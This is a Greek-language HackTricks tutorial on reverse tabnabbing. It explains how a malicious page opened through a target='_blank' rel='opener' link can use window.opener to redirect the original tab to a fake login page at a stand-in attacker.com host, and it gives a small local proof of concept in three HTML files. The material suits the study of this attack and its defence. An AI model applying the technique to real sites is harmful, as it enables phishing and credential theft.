9.8 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Περιγραφή
Σε μια κατάσταση όπου ένας επιτιθέμενος μπορεί να ελέγχει το href
όρισμα ενός <a
tag με το χαρακτηριστικό target="_blank" rel="opener"
που θα κάνει κλικ ένα θύμα, ο επιτιθέμενος μπορεί να κατευθύνει αυτό το σύνδεσμο σε μια ιστοσελίδα υπό τον έλεγχό του (μια κακόβουλη ιστοσελίδα). Έπειτα, όταν το θύμα κάνει κλικ στον σύνδεσμο και αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου, αυτή η κακόβουλη ιστοσελίδα θα μπορεί να ελέγχει την αρχική σελίδα μέσω του αντικειμένου javascript window.opener
.
Εάν η σελίδα δεν έχει rel="opener"
αλλά περιέχει target="_blank"
και δεν έχει rel="noopener"
μπορεί επίσης να είναι ευάλωτη.
Ένας συνηθισμένος τρόπος εκμετάλλευσης αυτής της συμπεριφοράς θα ήταν να αλλάξει την τοποθεσία της αρχικής ιστοσελίδας μέσω της εντολής window.opener.location = https://attacker.com/victim.html
σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο και μοιάζει με την αρχική, έτσι ώστε να μιμηθεί τη φόρμα σύνδεσης της αρχικής ιστοσελίδας και να ζητήσει διαπιστευτήρια από τον χρήστη.
Ωστόσο, να σημειωθεί ότι καθώς ο επιτιθέμενος μπορεί τώρα να ελέγχει το αντικείμενο παράθυρο της αρχικής ιστοσελίδας, μπορεί να το εκμεταλλευτεί και με άλλους τρόπους για να πραγματοποιήσει πιο αόρατες επιθέσεις (ίσως τροποποιώντας γεγονότα javascript για να εξαγάγει πληροφορίες σε έναν διακομιστή που ελέγχεται από αυτόν;)
Επισκόπηση
Με αναφορά πίσω
Σύνδεση μεταξύ γονικής και παιδικής σελίδας όταν δεν χρησιμοποιείται το πρόθεμα πρόληψης:
Χωρίς αναφορά πίσω
Σύνδεση μεταξύ γονικής και παιδικής σελίδας όταν χρησιμοποιείται το πρόθεμα πρόληψης:
Παραδείγματα
Δημιουργήστε τις παρακάτω σελίδες σε έναν φάκελο και εκτελέστε έναν διακομιστή ιστού με την εντολή python3 -m http.server
Στη συνέχεια, αποκτήστε πρόσβαση στη διεύθυνση http://127.0.0.1:8000/
vulnerable.html, κάντε κλικ στον σύνδεσμο και παρατηρήστε πώς αλλάζει η URL της αρχικής ιστοσελίδας.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Προσβάσιμες ιδιότητες
Στην περίπτωση όπου συμβαίνει μια διασυνοριακή πρόσβαση (πρόσβαση ανάμεσα σε διαφορετικούς τομείς), οι ιδιότητες της κλάσης JavaScript window, στην οποία αναφέρεται η αναφορά αντικειμένου JavaScript opener, που μπορούν να προσπελαστούν από μια κακόβουλη ιστοσελίδα περιορίζονται στα εξής:
opener.closed
: Αυτή η ιδιότητα προσπελαύνεται για να προσδιοριστεί εάν ένα παράθυρο έχει κλείσει, επιστρέφοντας μια λογική τιμή.opener.frames
: Αυτή η ιδιότητα παρέχει πρόσβαση σε όλα τα στοιχεία iframe εντός του τρέχοντος παραθύρου.opener.length
: Η αριθμός των στοιχείων iframe που υπάρχουν στο τρέχον παράθυρο επιστρέφεται από αυτή την ιδιότητα.opener.opener
: Μια αναφορά στο παράθυρο που άνοιξε το τρέχον παράθυρο μπορεί να ληφθεί μέσω αυτής της ιδιότητας.opener.parent
: Αυτή η ιδιότητα επιστρέφει το γονικό παράθυρο του τρέχοντος παραθύρου.opener.self
: Αυτή η ιδιότητα παρέχει πρόσβαση στο ίδιο το τρέχον παράθυρο.opener.top
: Αυτή η ιδιότητα επιστρέφει το παράθυρο του προγράμματος περιήγησης με την υψηλότερη θέση.
Ωστόσο, σε περιπτώσεις όπου οι τομείς είναι ίδιοι, η κακόβουλη ιστοσελίδα αποκτά πρόσβαση σε όλες τις ιδιότητες που αποκαλύπτονται από την αναφορά αντικειμένου JavaScript window.
Πρόληψη
Πληροφορίες πρόληψης καταγράφονται στο HTML5 Cheat Sheet.
Αναφορές
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Συμμετάσχετε στη 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.